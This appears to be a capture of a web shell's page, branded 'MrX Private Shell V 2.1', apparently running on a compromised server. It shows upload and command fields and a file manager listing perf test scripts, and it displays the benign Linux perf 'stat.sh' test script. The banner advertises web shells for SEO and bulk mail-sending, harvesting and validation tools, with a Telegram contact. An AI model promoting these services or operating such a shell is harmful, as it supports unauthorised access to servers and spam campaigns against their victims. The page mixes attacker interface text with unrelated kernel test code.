__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/sh
# perf stat tests
# SPDX-License-Identifier: GPL-2.0

set -e

err=0
test_default_stat() {
  echo "Basic stat command test"
  if ! perf stat true 2>&1 | grep -E -q "Performance counter stats for 'true':"
  then
    echo "Basic stat command test [Failed]"
    err=1
    return
  fi
  echo "Basic stat command test [Success]"
}

test_stat_record_report() {
  echo "stat record and report test"
  if ! perf stat record -o - true | perf stat report -i - 2>&1 | \
    grep -E -q "Performance counter stats for 'pipe':"
  then
    echo "stat record and report test [Failed]"
    err=1
    return
  fi
  echo "stat record and report test [Success]"
}

test_stat_record_script() {
  echo "stat record and script test"
  if ! perf stat record -o - true | perf script -i - 2>&1 | \
    grep -E -q "CPU[[:space:]]+THREAD[[:space:]]+VAL[[:space:]]+ENA[[:space:]]+RUN[[:space:]]+TIME[[:space:]]+EVENT"
  then
    echo "stat record and script test [Failed]"
    err=1
    return
  fi
  echo "stat record and script test [Success]"
}

test_stat_repeat_weak_groups() {
  echo "stat repeat weak groups test"
  if ! perf stat -e '{cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles}' \
     true 2>&1 | grep -q 'seconds time elapsed'
  then
    echo "stat repeat weak groups test [Skipped event parsing failed]"
    return
  fi
  if ! perf stat -r2 -e '{cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles,cycles}:W' \
    true > /dev/null 2>&1
  then
    echo "stat repeat weak groups test [Failed]"
    err=1
    return
  fi
  echo "stat repeat weak groups test [Success]"
}

test_topdown_groups() {
  # Topdown events must be grouped with the slots event first. Test that
  # parse-events reorders this.
  echo "Topdown event group test"
  if ! perf stat -e '{slots,topdown-retiring}' true > /dev/null 2>&1
  then
    echo "Topdown event group test [Skipped event parsing failed]"
    return
  fi
  if perf stat -e '{slots,topdown-retiring}' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed events not supported]"
    err=1
    return
  fi
  if perf stat -e 'instructions,topdown-retiring,slots' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed slots not reordered first in no-group case]"
    err=1
    return
  fi
  if perf stat -e '{instructions,topdown-retiring,slots}' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed slots not reordered first in single group case]"
    err=1
    return
  fi
  if perf stat -e '{instructions,slots},topdown-retiring' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed topdown metrics event not move into slots group]"
    err=1
    return
  fi
  if perf stat -e '{instructions,slots},{topdown-retiring}' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed topdown metrics group not merge into slots group]"
    err=1
    return
  fi
  if perf stat -e '{instructions,r400,r8000}' true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown event group test [Failed raw format slots not reordered first]"
    err=1
    return
  fi
  echo "Topdown event group test [Success]"
}

test_topdown_weak_groups() {
  # Weak groups break if the perf_event_open of multiple grouped events
  # fails. Breaking a topdown group causes the events to fail. Test a very large
  # grouping to see that the topdown events aren't broken out.
  echo "Topdown weak groups test"
  ok_grouping="{slots,topdown-bad-spec,topdown-be-bound,topdown-fe-bound,topdown-retiring},branch-instructions,branch-misses,bus-cycles,cache-misses,cache-references,cpu-cycles,instructions,mem-loads,mem-stores,ref-cycles,cache-misses,cache-references"
  if ! perf stat --no-merge -e "$ok_grouping" true > /dev/null 2>&1
  then
    echo "Topdown weak groups test [Skipped event parsing failed]"
    return
  fi
  group_needs_break="{slots,topdown-bad-spec,topdown-be-bound,topdown-fe-bound,topdown-retiring,branch-instructions,branch-misses,bus-cycles,cache-misses,cache-references,cpu-cycles,instructions,mem-loads,mem-stores,ref-cycles,cache-misses,cache-references}:W"
  if perf stat --no-merge -e "$group_needs_break" true 2>&1 | grep -E -q "<not supported>"
  then
    echo "Topdown weak groups test [Failed events not supported]"
    err=1
    return
  fi
  echo "Topdown weak groups test [Success]"
}

test_cputype() {
  # Test --cputype argument.
  echo "cputype test"

  # Bogus PMU should fail.
  if perf stat --cputype="123" -e instructions true > /dev/null 2>&1
  then
    echo "cputype test [Bogus PMU didn't fail]"
    err=1
    return
  fi

  # Find a known PMU for cputype.
  pmu=""
  devs="/sys/bus/event_source/devices"
  for i in $devs/cpu $devs/cpu_atom $devs/armv8_pmuv3_0 $devs/armv8_cortex_*
  do
    i_base=$(basename "$i")
    if test -d "$i"
    then
      pmu="$i_base"
      break
    fi
    if perf stat -e "$i_base/instructions/" true > /dev/null 2>&1
    then
      pmu="$i_base"
      break
    fi
  done
  if test "x$pmu" = "x"
  then
    echo "cputype test [Skipped known PMU not found]"
    return
  fi

  # Test running with cputype produces output.
  if ! perf stat --cputype="$pmu" -e instructions true 2>&1 | grep -E -q "instructions"
  then
    echo "cputype test [Failed count missed with given filter]"
    err=1
    return
  fi
  echo "cputype test [Success]"
}

test_hybrid() {
  # Test the default stat command on hybrid devices opens one cycles event for
  # each CPU type.
  echo "hybrid test"

  # Count the number of core PMUs, assume minimum of 1
  pmus=$(ls /sys/bus/event_source/devices/*/cpus 2>/dev/null | wc -l)
  if [ "$pmus" -lt 1 ]
  then
    pmus=1
  fi

  # Run default Perf stat
  cycles_events=$(perf stat -- true 2>&1 | grep -E "/cycles/[uH]*|  cycles[:uH]*  " -c)

  # The expectation is that default output will have a cycles events on each
  # hybrid PMU. In situations with no cycles PMU events, like virtualized, this
  # can fall back to task-clock and so the end count may be 0. Fail if neither
  # condition holds.
  if [ "$pmus" -ne "$cycles_events" ] && [ "0" -ne "$cycles_events" ]
  then
    echo "hybrid test [Found $pmus PMUs but $cycles_events cycles events. Failed]"
    err=1
    return
  fi
  echo "hybrid test [Success]"
}

test_default_stat
test_stat_record_report
test_stat_record_script
test_stat_repeat_weak_groups
test_topdown_groups
test_topdown_weak_groups
test_cputype
test_hybrid
exit $err

Filemanager

Name Type Size Permission Actions
base_probe Folder 0755
base_report Folder 0755
common Folder 0755
coresight Folder 0755
lib Folder 0755
annotate.sh File 2.08 KB 0755
attr.sh File 385 B 0755
buildid.sh File 4.15 KB 0755
daemon.sh File 11.31 KB 0755
diff.sh File 1.93 KB 0755
ftrace.sh File 2.22 KB 0755
list.sh File 756 B 0755
lock_contention.sh File 8.9 KB 0755
perftool-testsuite_probe.sh File 575 B 0755
perftool-testsuite_report.sh File 578 B 0755
pipe_test.sh File 3.22 KB 0755
probe_vfs_getname.sh File 440 B 0755
record+probe_libc_inet_pton.sh File 3.43 KB 0755
record+script_probe_vfs_getname.sh File 1.53 KB 0755
record+zstd_comp_decomp.sh File 1.12 KB 0755
record.sh File 8.27 KB 0755
record_bpf_filter.sh File 4.37 KB 0755
record_lbr.sh File 3.46 KB 0755
record_offcpu.sh File 2.07 KB 0755
record_sideband.sh File 1.07 KB 0755
script.sh File 2.01 KB 0755
stat+csv_output.sh File 2 KB 0755
stat+csv_summary.sh File 611 B 0755
stat+json_output.sh File 5.02 KB 0755
stat+shadow_stat.sh File 2.08 KB 0755
stat+std_output.sh File 2.96 KB 0755
stat.sh File 6.36 KB 0755
stat_all_metricgroups.sh File 1016 B 0755
stat_all_metrics.sh File 1.83 KB 0755
stat_all_pfm.sh File 1.17 KB 0755
stat_all_pmu.sh File 1.73 KB 0755
stat_bpf_counters.sh File 2 KB 0755
stat_bpf_counters_cgrp.sh File 1.66 KB 0755
stat_metrics_values.sh File 844 B 0755
test_arm_callgraph_fp.sh File 1.18 KB 0755
test_arm_coresight.sh File 5.7 KB 0755
test_arm_coresight_disasm.sh File 1.97 KB 0755
test_arm_spe.sh File 3.71 KB 0755
test_arm_spe_fork.sh File 1.03 KB 0755
test_brstack.sh File 2.97 KB 0755
test_data_symbol.sh File 1.95 KB 0755
test_intel_pt.sh File 17.2 KB 0755
test_java_symbol.sh File 1.96 KB 0755
test_perf_data_converter_json.sh File 1.32 KB 0755
test_stat_intel_tpebs.sh File 848 B 0755
test_task_analyzer.sh File 4.8 KB 0755
test_uprobe_from_different_cu.sh File 1.63 KB 0755
trace+probe_vfs_getname.sh File 1.45 KB 0755
trace_btf_enum.sh File 1.35 KB 0755
trace_btf_general.sh File 2.03 KB 0755
trace_exit_race.sh File 1.22 KB 0755
Filemanager